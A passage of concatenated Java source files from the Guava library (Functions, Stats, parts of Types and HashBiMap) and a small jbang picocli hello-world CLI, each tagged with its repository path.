Types.toString(type); } boolean jdkTypeDuplicatesOwnerName() { return true; } } /** * Per <a href="https://code.google.com/p/guava-libraries/issues/detail?id=1635">issue 1635</a>, * In JDK 1.7.0_51-b13, {@link TypeVariableImpl#equals(Object)} is changed to no longer be equal * to custom TypeVariable implementations. As a result, we need to make sure our TypeVariable * implementation respects symmetry. Moreover, we don't want to reconstruct a native type variable * {@code <A>} using our implementation unless some of its bounds have changed in resolution. This * avoids creating unequal TypeVariable implementation unnecessarily. When the bounds do change, * however, it's fine for the synthetic TypeVariable to be unequal to any native TypeVariable * anyway. */ static final class NativeTypeVariableEquals<X> { static final boolean NATIVE_TYPE_VARIABLE_ONLY = !NativeTypeVariableEquals.class.getTypeParameters()[0].equals( newArtificialTypeVariable(NativeTypeVariableEquals.class, "X")); } private Types() {} }
google/guava
guava/src/com/google/common/reflect/Types.java
325
/* * Copyright (C) 2007 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.base; import static com.google.common.base.NullnessCasts.uncheckedCastNullableTToT; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkNotNull; import com.google.common.annotations.GwtCompatible; import java.io.Serializable; import java.util.Map; import javax.annotation.CheckForNull; import org.checkerframework.checker.nullness.qual.Nullable; /** * Static utility methods pertaining to {@code com.google.common.base.Function} instances; see that * class for information about migrating to {@code java.util.function}. * * <p>All methods return serializable functions as long as they're given serializable parameters. * * <p>See the Guava User Guide article on <a * href="https://github.com/google/guava/wiki/FunctionalExplained">the use of {@code Function}</a>. * * @author Mike Bostock * @author Jared Levy * @since 2.0 */ @GwtCompatible @ElementTypesAreNonnullByDefault public final class Functions { private Functions() {} /** * A function equivalent to the method reference {@code Object::toString}, for users not yet using * Java 8. The function simply invokes {@code toString} on its argument and returns the result. It * throws a {@link NullPointerException} on null input. * * <p><b>Warning:</b> The returned function may not be <i>consistent with equals</i> (as * documented at {@link Function#apply}). For example, this function yields different results for * the two equal instances {@code ImmutableSet.of(1, 2)} and {@code ImmutableSet.of(2, 1)}. * * <p><b>Warning:</b> as with all function types in this package, avoid depending on the specific * {@code equals}, {@code hashCode} or {@code toString} behavior of the returned function. A * future migration to {@code java.util.function} will not preserve this behavior. * * <p><b>Java 8+ users:</b> use the method reference {@code Object::toString} instead. In the * future, when this class requires Java 8, this method will be deprecated. See {@link Function} * for more important information about the Java 8+ transition. */ public static Function<Object, String> toStringFunction() { return ToStringFunction.INSTANCE; } // enum singleton pattern private enum ToStringFunction implements Function<Object, String> { INSTANCE; @Override public String apply(Object o) { checkNotNull(o); // eager for GWT. return o.toString(); } @Override public String toString() { return "Functions.toStringFunction()"; } } /** * Returns the identity function. * * <p><b>Discouraged:</b> Prefer using a lambda like {@code v -> v}, which is shorter and often * more readable. */ // implementation is "fully variant"; E has become a "pass-through" type @SuppressWarnings("unchecked") public static <E extends @Nullable Object> Function<E, E> identity() { return (Function<E, E>) IdentityFunction.INSTANCE; } // enum singleton pattern private enum IdentityFunction implements Function<@Nullable Object, @Nullable Object> { INSTANCE; @Override @CheckForNull public Object apply(@CheckForNull Object o) { return o; } @Override public String toString() { return "Functions.identity()"; } } /** * Returns a function which performs a map lookup. The returned function throws an {@link * IllegalArgumentException} if given a key that does not exist in the map. See also {@link * #forMap(Map, Object)}, which returns a default value in this case. * * <p>Note: if {@code map} is a {@link com.google.common.collect.BiMap BiMap} (or can be one), you * can use {@link com.google.common.collect.Maps#asConverter Maps.asConverter} instead to get a * function that also supports reverse conversion. * * <p><b>Java 8+ users:</b> if you are okay with {@code null} being returned for an unrecognized * key (instead of an exception being thrown), you can use the method reference {@code map::get} * instead. */ public static <K extends @Nullable Object, V extends @Nullable Object> Function<K, V> forMap( Map<K, V> map) { return new FunctionForMapNoDefault<>(map); } /** * Returns a function which performs a map lookup with a default value. The function created by * this method returns {@code defaultValue} for all inputs that do not belong to the map's key * set. See also {@link #forMap(Map)}, which throws an exception in this case. * * <p><b>Java 8+ users:</b> you can just write the lambda expression {@code k -> * map.getOrDefault(k, defaultValue)} instead. * * @param map source map that determines the function behavior * @param defaultValue the value to return for inputs that aren't map keys * @return function that returns {@code map.get(a)} when {@code a} is a key, or {@code * defaultValue} otherwise */ public static <K extends @Nullable Object, V extends @Nullable Object> Function<K, V> forMap( Map<K, ? extends V> map, @ParametricNullness V defaultValue) { return new ForMapWithDefault<>(map, defaultValue); } private static class FunctionForMapNoDefault< K extends @Nullable Object, V extends @Nullable Object> implements Function<K, V>, Serializable { final Map<K, V> map; FunctionForMapNoDefault(Map<K, V> map) { this.map = checkNotNull(map); } @Override @ParametricNullness public V apply(@ParametricNullness K key) { V result = map.get(key); checkArgument(result != null || map.containsKey(key), "Key '%s' not present in map", key); // The unchecked cast is safe because of the containsKey check. return uncheckedCastNullableTToT(result); } @Override public boolean equals(@CheckForNull Object o) { if (o instanceof FunctionForMapNoDefault) { FunctionForMapNoDefault<?, ?> that = (FunctionForMapNoDefault<?, ?>) o; return map.equals(that.map); } return false; } @Override public int hashCode() { return map.hashCode(); } @Override public String toString() { return "Functions.forMap(" + map + ")"; } private static final long serialVersionUID = 0; } private static class ForMapWithDefault<K extends @Nullable Object, V extends @Nullable Object> implements Function<K, V>, Serializable { final Map<K, ? extends V> map; @ParametricNullness final V defaultValue; ForMapWithDefault(Map<K, ? extends V> map, @ParametricNullness V defaultValue) { this.map = checkNotNull(map); this.defaultValue = defaultValue; } @Override @ParametricNullness public V apply(@ParametricNullness K key) { V result = map.get(key); // The unchecked cast is safe because of the containsKey check. return (result != null || map.containsKey(key)) ? uncheckedCastNullableTToT(result) : defaultValue; } @Override public boolean equals(@CheckForNull Object o) { if (o instanceof ForMapWithDefault) { ForMapWithDefault<?, ?> that = (ForMapWithDefault<?, ?>) o; return map.equals(that.map) && Objects.equal(defaultValue, that.defaultValue); } return false; } @Override public int hashCode() { return Objects.hashCode(map, defaultValue); } @Override public String toString() { // TODO(cpovirk): maybe remove "defaultValue=" to make this look like the method call does return "Functions.forMap(" + map + ", defaultValue=" + defaultValue + ")"; } private static final long serialVersionUID = 0; } /** * Returns the composition of two functions. For {@code f: A->B} and {@code g: B->C}, composition * is defined as the function h such that {@code h(a) == g(f(a))} for each {@code a}. * * <p><b>Java 8+ users:</b> use {@code g.compose(f)} or (probably clearer) {@code f.andThen(g)} * instead. * * @param g the second function to apply * @param f the first function to apply * @return the composition of {@code f} and {@code g} * @see <a href="//en.wikipedia.org/wiki/Function_composition">function composition</a> */ public static <A extends @Nullable Object, B extends @Nullable Object, C extends @Nullable Object> Function<A, C> compose(Function<B, C> g, Function<A, ? extends B> f) { return new FunctionComposition<>(g, f); } private static class FunctionComposition< A extends @Nullable Object, B extends @Nullable Object, C extends @Nullable Object> implements Function<A, C>, Serializable { private final Function<B, C> g; private final Function<A, ? extends B> f; public FunctionComposition(Function<B, C> g, Function<A, ? extends B> f) { this.g = checkNotNull(g); this.f = checkNotNull(f); } @Override @ParametricNullness public C apply(@ParametricNullness A a) { return g.apply(f.apply(a)); } @Override public boolean equals(@CheckForNull Object obj) { if (obj instanceof FunctionComposition) { FunctionComposition<?, ?, ?> that = (FunctionComposition<?, ?, ?>) obj; return f.equals(that.f) && g.equals(that.g); } return false; } @Override public int hashCode() { return f.hashCode() ^ g.hashCode(); } @Override public String toString() { // TODO(cpovirk): maybe make this look like the method call does ("Functions.compose(...)") return g + "(" + f + ")"; } private static final long serialVersionUID = 0; } /** * Creates a function that returns the same boolean output as the given predicate for all inputs. * * <p>The returned function is <i>consistent with equals</i> (as documented at {@link * Function#apply}) if and only if {@code predicate} is itself consistent with equals. * * <p><b>Java 8+ users:</b> use the method reference {@code predicate::test} instead. */ public static <T extends @Nullable Object> Function<T, Boolean> forPredicate( Predicate<T> predicate) { return new PredicateFunction<>(predicate); } /** @see Functions#forPredicate */ private static class PredicateFunction<T extends @Nullable Object> implements Function<T, Boolean>, Serializable { private final Predicate<T> predicate; private PredicateFunction(Predicate<T> predicate) { this.predicate = checkNotNull(predicate); } @Override public Boolean apply(@ParametricNullness T t) { return predicate.apply(t); } @Override public boolean equals(@CheckForNull Object obj) { if (obj instanceof PredicateFunction) { PredicateFunction<?> that = (PredicateFunction<?>) obj; return predicate.equals(that.predicate); } return false; } @Override public int hashCode() { return predicate.hashCode(); } @Override public String toString() { return "Functions.forPredicate(" + predicate + ")"; } private static final long serialVersionUID = 0; } /** * Returns a function that ignores its input and always returns {@code value}. * * <p><b>Java 8+ users:</b> use the lambda expression {@code o -> value} instead. * * @param value the constant value for the function to return * @return a function that always returns {@code value} */ public static <E extends @Nullable Object> Function<@Nullable Object, E> constant( @ParametricNullness E value) { return new ConstantFunction<>(value); } private static class ConstantFunction<E extends @Nullable Object> implements Function<@Nullable Object, E>, Serializable { @ParametricNullness private final E value; public ConstantFunction(@ParametricNullness E value) { this.value = value; } @Override @ParametricNullness public E apply(@CheckForNull Object from) { return value; } @Override public boolean equals(@CheckForNull Object obj) { if (obj instanceof ConstantFunction) { ConstantFunction<?> that = (ConstantFunction<?>) obj; return Objects.equal(value, that.value); } return false; } @Override public int hashCode() { return (value == null) ? 0 : value.hashCode(); } @Override public String toString() { return "Functions.constant(" + value + ")"; } private static final long serialVersionUID = 0; } /** * Returns a function that ignores its input and returns the result of {@code supplier.get()}. * * <p><b>Java 8+ users:</b> use the lambda expression {@code o -> supplier.get()} instead. * * @since 10.0 */ public static <F extends @Nullable Object, T extends @Nullable Object> Function<F, T> forSupplier( Supplier<T> supplier) { return new SupplierFunction<>(supplier); } /** @see Functions#forSupplier */ private static class SupplierFunction<F extends @Nullable Object, T extends @Nullable Object> implements Function<F, T>, Serializable { private final Supplier<T> supplier; private SupplierFunction(Supplier<T> supplier) { this.supplier = checkNotNull(supplier); } @Override @ParametricNullness public T apply(@ParametricNullness F input) { return supplier.get(); } @Override public boolean equals(@CheckForNull Object obj) { if (obj instanceof SupplierFunction) { SupplierFunction<?, ?> that = (SupplierFunction<?, ?>) obj; return this.supplier.equals(that.supplier); } return false; } @Override public int hashCode() { return supplier.hashCode(); } @Override public String toString() { return "Functions.forSupplier(" + supplier + ")"; } private static final long serialVersionUID = 0; } }
google/guava
android/guava/src/com/google/common/base/Functions.java
326
/* * Copyright (C) 2012 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.math; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.base.Preconditions.checkState; import static com.google.common.math.DoubleUtils.ensureNonNegative; import static com.google.common.math.StatsAccumulator.calculateNewMeanNonFinite; import static com.google.common.primitives.Doubles.isFinite; import static java.lang.Double.NaN; import static java.lang.Double.doubleToLongBits; import static java.lang.Double.isNaN; import com.google.common.annotations.GwtIncompatible; import com.google.common.annotations.J2ktIncompatible; import com.google.common.base.MoreObjects; import com.google.common.base.Objects; import java.io.Serializable; import java.nio.ByteBuffer; import java.nio.ByteOrder; import java.util.Iterator; import javax.annotation.CheckForNull; /** * A bundle of statistical summary values -- sum, count, mean/average, min and max, and several * forms of variance -- that were computed from a single set of zero or more floating-point values. * * <p>There are two ways to obtain a {@code Stats} instance: * * <ul> * <li>If all the values you want to summarize are already known, use the appropriate {@code * Stats.of} factory method below. Primitive arrays, iterables and iterators of any kind of * {@code Number}, and primitive varargs are supported. * <li>Or, to avoid storing up all the data first, create a {@link StatsAccumulator} instance, * feed values to it as you get them, then call {@link StatsAccumulator#snapshot}. * </ul> * * <p>Static convenience methods called {@code meanOf} are also provided for users who wish to * calculate <i>only</i> the mean. * * <p><b>Java 8+ users:</b> If you are not using any of the variance statistics, you may wish to use * built-in JDK libraries instead of this class. * * @author Pete Gillin * @author Kevin Bourrillion * @since 20.0 */ @J2ktIncompatible @GwtIncompatible @ElementTypesAreNonnullByDefault public final class Stats implements Serializable { private final long count; private final double mean; private final double sumOfSquaresOfDeltas; private final double min; private final double max; /** * Internal constructor. Users should use {@link #of} or {@link StatsAccumulator#snapshot}. * * <p>To ensure that the created instance obeys its contract, the parameters should satisfy the * following constraints. This is the callers responsibility and is not enforced here. * * <ul> * <li>If {@code count} is 0, {@code mean} may have any finite value (its only usage will be to * get multiplied by 0 to calculate the sum), and the other parameters may have any values * (they will not be used). * <li>If {@code count} is 1, {@code sumOfSquaresOfDeltas} must be exactly 0.0 or {@link * Double#NaN}. * </ul> */ Stats(long count, double mean, double sumOfSquaresOfDeltas, double min, double max) { this.count = count; this.mean = mean; this.sumOfSquaresOfDeltas = sumOfSquaresOfDeltas; this.min = min; this.max = max; } /** * Returns statistics over a dataset containing the given values. * * @param values a series of values, which will be converted to {@code double} values (this may * cause loss of precision) */ public static Stats of(Iterable<? extends Number> values) { StatsAccumulator accumulator = new StatsAccumulator(); accumulator.addAll(values); return accumulator.snapshot(); } /** * Returns statistics over a dataset containing the given values. The iterator will be completely * consumed by this method. * * @param values a series of values, which will be converted to {@code double} values (this may * cause loss of precision) */ public static Stats of(Iterator<? extends Number> values) { StatsAccumulator accumulator = new StatsAccumulator(); accumulator.addAll(values); return accumulator.snapshot(); } /** * Returns statistics over a dataset containing the given values. * * @param values a series of values */ public static Stats of(double... values) { StatsAccumulator accumulator = new StatsAccumulator(); accumulator.addAll(values); return accumulator.snapshot(); } /** * Returns statistics over a dataset containing the given values. * * @param values a series of values */ public static Stats of(int... values) { StatsAccumulator accumulator = new StatsAccumulator(); accumulator.addAll(values); return accumulator.snapshot(); } /** * Returns statistics over a dataset containing the given values. * * @param values a series of values, which will be converted to {@code double} values (this may * cause loss of precision for longs of magnitude over 2^53 (slightly over 9e15)) */ public static Stats of(long... values) { StatsAccumulator accumulator = new StatsAccumulator(); accumulator.addAll(values); return accumulator.snapshot(); } /** Returns the number of values. */ public long count() { return count; } /** * Returns the <a href="http://en.wikipedia.org/wiki/Arithmetic_mean">arithmetic mean</a> of the * values. The count must be non-zero. * * <p>If these values are a sample drawn from a population, this is also an unbiased estimator of * the arithmetic mean of the population. * * <h3>Non-finite values</h3> * * <p>If the dataset contains {@link Double#NaN} then the result is {@link Double#NaN}. If it * contains both {@link Double#POSITIVE_INFINITY} and {@link Double#NEGATIVE_INFINITY} then the * result is {@link Double#NaN}. If it contains {@link Double#POSITIVE_INFINITY} and finite values * only or {@link Double#POSITIVE_INFINITY} only, the result is {@link Double#POSITIVE_INFINITY}. * If it contains {@link Double#NEGATIVE_INFINITY} and finite values only or {@link * Double#NEGATIVE_INFINITY} only, the result is {@link Double#NEGATIVE_INFINITY}. * * <p>If you only want to calculate the mean, use {@link #meanOf} instead of creating a {@link * Stats} instance. * * @throws IllegalStateException if the dataset is empty */ public double mean() { checkState(count != 0); return mean; } /** * Returns the sum of the values. * * <h3>Non-finite values</h3> * * <p>If the dataset contains {@link Double#NaN} then the result is {@link Double#NaN}. If it * contains both {@link Double#POSITIVE_INFINITY} and {@link Double#NEGATIVE_INFINITY} then the * result is {@link Double#NaN}. If it contains {@link Double#POSITIVE_INFINITY} and finite values * only or {@link Double#POSITIVE_INFINITY} only, the result is {@link Double#POSITIVE_INFINITY}. * If it contains {@link Double#NEGATIVE_INFINITY} and finite values only or {@link * Double#NEGATIVE_INFINITY} only, the result is {@link Double#NEGATIVE_INFINITY}. */ public double sum() { return mean * count; } /** * Returns the <a href="http://en.wikipedia.org/wiki/Variance#Population_variance">population * variance</a> of the values. The count must be non-zero. * * <p>This is guaranteed to return zero if the dataset contains only exactly one finite value. It * is not guaranteed to return zero when the dataset consists of the same value multiple times, * due to numerical errors. However, it is guaranteed never to return a negative result. * * <h3>Non-finite values</h3> * * <p>If the dataset contains any non-finite values ({@link Double#POSITIVE_INFINITY}, {@link * Double#NEGATIVE_INFINITY}, or {@link Double#NaN}) then the result is {@link Double#NaN}. * * @throws IllegalStateException if the dataset is empty */ public double populationVariance() { checkState(count > 0); if (isNaN(sumOfSquaresOfDeltas)) { return NaN; } if (count == 1) { return 0.0; } return ensureNonNegative(sumOfSquaresOfDeltas) / count(); } /** * Returns the <a * href="http://en.wikipedia.org/wiki/Standard_deviation#Definition_of_population_values"> * population standard deviation</a> of the values. The count must be non-zero. * * <p>This is guaranteed to return zero if the dataset contains only exactly one finite value. It * is not guaranteed to return zero when the dataset consists of the same value multiple times, * due to numerical errors. However, it is guaranteed never to return a negative result. * * <h3>Non-finite values</h3> * * <p>If the dataset contains any non-finite values ({@link Double#POSITIVE_INFINITY}, {@link * Double#NEGATIVE_INFINITY}, or {@link Double#NaN}) then the result is {@link Double#NaN}. * * @throws IllegalStateException if the dataset is empty */ public double populationStandardDeviation() { return Math.sqrt(populationVariance()); } /** * Returns the <a href="http://en.wikipedia.org/wiki/Variance#Sample_variance">unbiased sample * variance</a> of the values. If this dataset is a sample drawn from a population, this is an * unbiased estimator of the population variance of the population. The count must be greater than * one. * * <p>This is not guaranteed to return zero when the dataset consists of the same value multiple * times, due to numerical errors. However, it is guaranteed never to return a negative result. * * <h3>Non-finite values</h3> * * <p>If the dataset contains any non-finite values ({@link Double#POSITIVE_INFINITY}, {@link * Double#NEGATIVE_INFINITY}, or {@link Double#NaN}) then the result is {@link Double#NaN}. * * @throws IllegalStateException if the dataset is empty or contains a single value */ public double sampleVariance() { checkState(count > 1); if (isNaN(sumOfSquaresOfDeltas)) { return NaN; } return ensureNonNegative(sumOfSquaresOfDeltas) / (count - 1); } /** * Returns the <a * href="http://en.wikipedia.org/wiki/Standard_deviation#Corrected_sample_standard_deviation"> * corrected sample standard deviation</a> of the values. If this dataset is a sample drawn from a * population, this is an estimator of the population standard deviation of the population which * is less biased than {@link #populationStandardDeviation()} (the unbiased estimator depends on * the distribution). The count must be greater than one. * * <p>This is not guaranteed to return zero when the dataset consists of the same value multiple * times, due to numerical errors. However, it is guaranteed never to return a negative result. * * <h3>Non-finite values</h3> * * <p>If the dataset contains any non-finite values ({@link Double#POSITIVE_INFINITY}, {@link * Double#NEGATIVE_INFINITY}, or {@link Double#NaN}) then the result is {@link Double#NaN}. * * @throws IllegalStateException if the dataset is empty or contains a single value */ public double sampleStandardDeviation() { return Math.sqrt(sampleVariance()); } /** * Returns the lowest value in the dataset. The count must be non-zero. * * <h3>Non-finite values</h3> * * <p>If the dataset contains {@link Double#NaN} then the result is {@link Double#NaN}. If it * contains {@link Double#NEGATIVE_INFINITY} and not {@link Double#NaN} then the result is {@link * Double#NEGATIVE_INFINITY}. If it contains {@link Double#POSITIVE_INFINITY} and finite values * only then the result is the lowest finite value. If it contains {@link * Double#POSITIVE_INFINITY} only then the result is {@link Double#POSITIVE_INFINITY}. * * @throws IllegalStateException if the dataset is empty */ public double min() { checkState(count != 0); return min; } /** * Returns the highest value in the dataset. The count must be non-zero. * * <h3>Non-finite values</h3> * * <p>If the dataset contains {@link Double#NaN} then the result is {@link Double#NaN}. If it * contains {@link Double#POSITIVE_INFINITY} and not {@link Double#NaN} then the result is {@link * Double#POSITIVE_INFINITY}. If it contains {@link Double#NEGATIVE_INFINITY} and finite values * only then the result is the highest finite value. If it contains {@link * Double#NEGATIVE_INFINITY} only then the result is {@link Double#NEGATIVE_INFINITY}. * * @throws IllegalStateException if the dataset is empty */ public double max() { checkState(count != 0); return max; } /** * {@inheritDoc} * * <p><b>Note:</b> This tests exact equality of the calculated statistics, including the floating * point values. Two instances are guaranteed to be considered equal if one is copied from the * other using {@code second = new StatsAccumulator().addAll(first).snapshot()}, if both were * obtained by calling {@code snapshot()} on the same {@link StatsAccumulator} without adding any * values in between the two calls, or if one is obtained from the other after round-tripping * through java serialization. However, floating point rounding errors mean that it may be false * for some instances where the statistics are mathematically equal, including instances * constructed from the same values in a different order... or (in the general case) even in the * same order. (It is guaranteed to return true for instances constructed from the same values in * the same order if {@code strictfp} is in effect, or if the system architecture guarantees * {@code strictfp}-like semantics.) */ @Override public boolean equals(@CheckForNull Object obj) { if (obj == null) { return false; } if (getClass() != obj.getClass()) { return false; } Stats other = (Stats) obj; return count == other.count && doubleToLongBits(mean) == doubleToLongBits(other.mean) && doubleToLongBits(sumOfSquaresOfDeltas) == doubleToLongBits(other.sumOfSquaresOfDeltas) && doubleToLongBits(min) == doubleToLongBits(other.min) && doubleToLongBits(max) == doubleToLongBits(other.max); } /** * {@inheritDoc} * * <p><b>Note:</b> This hash code is consistent with exact equality of the calculated statistics, * including the floating point values. See the note on {@link #equals} for details. */ @Override public int hashCode() { return Objects.hashCode(count, mean, sumOfSquaresOfDeltas, min, max); } @Override public String toString() { if (count() > 0) { return MoreObjects.toStringHelper(this) .add("count", count) .add("mean", mean) .add("populationStandardDeviation", populationStandardDeviation()) .add("min", min) .add("max", max) .toString(); } else { return MoreObjects.toStringHelper(this).add("count", count).toString(); } } double sumOfSquaresOfDeltas() { return sumOfSquaresOfDeltas; } /** * Returns the <a href="http://en.wikipedia.org/wiki/Arithmetic_mean">arithmetic mean</a> of the * values. The count must be non-zero. * * <p>The definition of the mean is the same as {@link Stats#mean}. * * @param values a series of values, which will be converted to {@code double} values (this may * cause loss of precision) * @throws IllegalArgumentException if the dataset is empty */ public static double meanOf(Iterable<? extends Number> values) { return meanOf(values.iterator()); } /** * Returns the <a href="http://en.wikipedia.org/wiki/Arithmetic_mean">arithmetic mean</a> of the * values. The count must be non-zero. * * <p>The definition of the mean is the same as {@link Stats#mean}. * * @param values a series of values, which will be converted to {@code double} values (this may * cause loss of precision) * @throws IllegalArgumentException if the dataset is empty */ public static double meanOf(Iterator<? extends Number> values) { checkArgument(values.hasNext()); long count = 1; double mean = values.next().doubleValue(); while (values.hasNext()) { double value = values.next().doubleValue(); count++; if (isFinite(value) && isFinite(mean)) { // Art of Computer Programming vol. 2, Knuth, 4.2.2, (15) mean += (value - mean) / count; } else { mean = calculateNewMeanNonFinite(mean, value); } } return mean; } /** * Returns the <a href="http://en.wikipedia.org/wiki/Arithmetic_mean">arithmetic mean</a> of the * values. The count must be non-zero. * * <p>The definition of the mean is the same as {@link Stats#mean}. * * @param values a series of values * @throws IllegalArgumentException if the dataset is empty */ public static double meanOf(double... values) { checkArgument(values.length > 0); double mean = values[0]; for (int index = 1; index < values.length; index++) { double value = values[index]; if (isFinite(value) && isFinite(mean)) { // Art of Computer Programming vol. 2, Knuth, 4.2.2, (15) mean += (value - mean) / (index + 1); } else { mean = calculateNewMeanNonFinite(mean, value); } } return mean; } /** * Returns the <a href="http://en.wikipedia.org/wiki/Arithmetic_mean">arithmetic mean</a> of the * values. The count must be non-zero. * * <p>The definition of the mean is the same as {@link Stats#mean}. * * @param values a series of values * @throws IllegalArgumentException if the dataset is empty */ public static double meanOf(int... values) { checkArgument(values.length > 0); double mean = values[0]; for (int index = 1; index < values.length; index++) { double value = values[index]; if (isFinite(value) && isFinite(mean)) { // Art of Computer Programming vol. 2, Knuth, 4.2.2, (15) mean += (value - mean) / (index + 1); } else { mean = calculateNewMeanNonFinite(mean, value); } } return mean; } /** * Returns the <a href="http://en.wikipedia.org/wiki/Arithmetic_mean">arithmetic mean</a> of the * values. The count must be non-zero. * * <p>The definition of the mean is the same as {@link Stats#mean}. * * @param values a series of values, which will be converted to {@code double} values (this may * cause loss of precision for longs of magnitude over 2^53 (slightly over 9e15)) * @throws IllegalArgumentException if the dataset is empty */ public static double meanOf(long... values) { checkArgument(values.length > 0); double mean = values[0]; for (int index = 1; index < values.length; index++) { double value = values[index]; if (isFinite(value) && isFinite(mean)) { // Art of Computer Programming vol. 2, Knuth, 4.2.2, (15) mean += (value - mean) / (index + 1); } else { mean = calculateNewMeanNonFinite(mean, value); } } return mean; } // Serialization helpers /** The size of byte array representation in bytes. */ static final int BYTES = (Long.SIZE + Double.SIZE * 4) / Byte.SIZE; /** * Gets a byte array representation of this instance. * * <p><b>Note:</b> No guarantees are made regarding stability of the representation between * versions. */ public byte[] toByteArray() { ByteBuffer buff = ByteBuffer.allocate(BYTES).order(ByteOrder.LITTLE_ENDIAN); writeTo(buff); return buff.array(); } /** * Writes to the given {@link ByteBuffer} a byte representation of this instance. * * <p><b>Note:</b> No guarantees are made regarding stability of the representation between * versions. * * @param buffer A {@link ByteBuffer} with at least BYTES {@link ByteBuffer#remaining}, ordered as * {@link ByteOrder#LITTLE_ENDIAN}, to which a BYTES-long byte representation of this instance * is written. In the process increases the position of {@link ByteBuffer} by BYTES. */ void writeTo(ByteBuffer buffer) { checkNotNull(buffer); checkArgument( buffer.remaining() >= BYTES, "Expected at least Stats.BYTES = %s remaining , got %s", BYTES, buffer.remaining()); buffer .putLong(count) .putDouble(mean) .putDouble(sumOfSquaresOfDeltas) .putDouble(min) .putDouble(max); } /** * Creates a Stats instance from the given byte representation which was obtained by {@link * #toByteArray}. * * <p><b>Note:</b> No guarantees are made regarding stability of the representation between * versions. */ public static Stats fromByteArray(byte[] byteArray) { checkNotNull(byteArray); checkArgument( byteArray.length == BYTES, "Expected Stats.BYTES = %s remaining , got %s", BYTES, byteArray.length); return readFrom(ByteBuffer.wrap(byteArray).order(ByteOrder.LITTLE_ENDIAN)); } /** * Creates a Stats instance from the byte representation read from the given {@link ByteBuffer}. * * <p><b>Note:</b> No guarantees are made regarding stability of the representation between * versions. * * @param buffer A {@link ByteBuffer} with at least BYTES {@link ByteBuffer#remaining}, ordered as * {@link ByteOrder#LITTLE_ENDIAN}, from which a BYTES-long byte representation of this * instance is read. In the process increases the position of {@link ByteBuffer} by BYTES. */ static Stats readFrom(ByteBuffer buffer) { checkNotNull(buffer); checkArgument( buffer.remaining() >= BYTES, "Expected at least Stats.BYTES = %s remaining , got %s", BYTES, buffer.remaining()); return new Stats( buffer.getLong(), buffer.getDouble(), buffer.getDouble(), buffer.getDouble(), buffer.getDouble()); } private static final long serialVersionUID = 0; }
google/guava
android/guava/src/com/google/common/math/Stats.java
328
///usr/bin/env jbang "$0" "$@" ; exit $? //DEPS info.picocli:picocli:4.5.0 import picocli.CommandLine; import picocli.CommandLine.Command; import picocli.CommandLine.Parameters; import java.util.concurrent.Callable; @Command(name = "hellocli", mixinStandardHelpOptions = true, version = "hellocli 0.1", description = "hellocli made with jbang") class hellocli implements Callable<Integer> { @Parameters(index = "0", description = "The greeting to print", defaultValue = "World!") private String greeting; public static void main(String... args) { int exitCode = new CommandLine(new hellocli()).execute(args); System.exit(exitCode); } @Override public Integer call() throws Exception { // your business logic goes here... System.out.println("Hello " + greeting); return 0; } }
eugenp/tutorials
jbang/hellocli.java
329
/* * Copyright (C) 2007 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.collect; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.CollectPreconditions.checkNonnegative; import static com.google.common.collect.Hashing.smearedHash; import static java.util.Objects.requireNonNull; import com.google.common.annotations.GwtCompatible; import com.google.common.annotations.GwtIncompatible; import com.google.common.annotations.J2ktIncompatible; import com.google.common.base.Objects; import com.google.common.collect.Maps.IteratorBasedAbstractMap; import com.google.errorprone.annotations.CanIgnoreReturnValue; import com.google.errorprone.annotations.concurrent.LazyInit; import com.google.j2objc.annotations.RetainedWith; import com.google.j2objc.annotations.Weak; import java.io.IOException; import java.io.InvalidObjectException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; import java.util.Arrays; import java.util.ConcurrentModificationException; import java.util.Iterator; import java.util.Map; import java.util.NoSuchElementException; import java.util.Set; import java.util.function.BiConsumer; import java.util.function.BiFunction; import javax.annotation.CheckForNull; import org.checkerframework.checker.nullness.qual.Nullable; /** * A {@link BiMap} backed by two hash tables. This implementation allows null keys and values. A * {@code HashBiMap} and its inverse are both serializable. * * <p>This implementation guarantees insertion-based iteration order of its keys. * * <p>See the Guava User Guide article on <a href= * "https://github.com/google/guava/wiki/NewCollectionTypesExplained#bimap">{@code BiMap} </a>. * * @author Louis Wasserman * @author Mike Bostock * @since 2.0 */ @GwtCompatible(emulated = true) @ElementTypesAreNonnullByDefault public final class HashBiMap<K extends @Nullable Object, V extends @Nullable Object> extends IteratorBasedAbstractMap<K, V> implements BiMap<K, V>, Serializable { /** Returns a new, empty {@code HashBiMap} with the default initial capacity (16). */ public static <K extends @Nullable Object, V extends @Nullable Object> HashBiMap<K, V> create() { return create(16); } /** * Constructs a new, empty bimap with the specified expected size. * * @param expectedSize the expected number of entries * @throws IllegalArgumentException if the specified expected size is negative */ public static <K extends @Nullable Object, V extends @Nullable Object> HashBiMap<K, V> create( int expectedSize) { return new HashBiMap<>(expectedSize); } /** * Constructs a new bimap containing initial values from {@code map}. The bimap is created with an * initial capacity sufficient to hold the mappings in the specified map. */ public static <K extends @Nullable Object, V extends @Nullable Object> HashBiMap<K, V> create( Map<? extends K, ? extends V> map) { HashBiMap<K, V> bimap = create(map.size()); bimap.putAll(map); return bimap; } static final class BiEntry<K extends @Nullable Object, V extends @Nullable Object> extends ImmutableEntry<K, V> { final int keyHash; final 